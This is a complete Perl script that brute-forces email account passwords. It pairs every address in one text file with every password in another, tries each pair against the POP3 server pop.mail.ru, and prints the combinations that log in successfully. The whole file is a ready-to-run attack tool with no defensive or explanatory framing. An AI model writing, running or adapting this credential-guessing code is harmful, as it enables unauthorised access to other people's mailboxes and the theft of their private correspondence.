#!usr/bin/perl -w

use IO::Socket;

$Fpass   = 'passwords.txt';
$Femails = 'emails.txt';


open($emails, $Femails);
while(<$emails>)
{
	$email = $_;
	chomp($email);
	
	open($passwords, $Fpass);
	while(<$passwords>)
	{
		$pass = $_;
		chomp($pass);
		$sock = new IO::Socket::INET 
		(
		PeerAddr => 'pop.mail.ru',
   		PeerPort => 110, 
   		PeerProto => 'tcp', 
   		TimeOut => 60
		) or die "Can't connect\n";	

		print $sock "USER $email\n\r"; 
		sysread ($sock, $answ, 800);
		print $sock "PASS $pass\n\r\n\r";
		sysread ($sock, $answ, 800);
		print $sock "\n\r";
		sysread ($sock, $answ, 800);

		close($sock);

		if($answ =~ /maildrop/)
		{		
			print  "Good PASSSSSSSSSSSSSSSSSSSSSSSSS\n".
				   "[>]Email:".$email."\n".
				   "[>]Password:".$pass."\n";
		}
		else
		{
			print "[>]BAD Password:".$pass;
		}
	}
	close($passwords);
}
close($emails);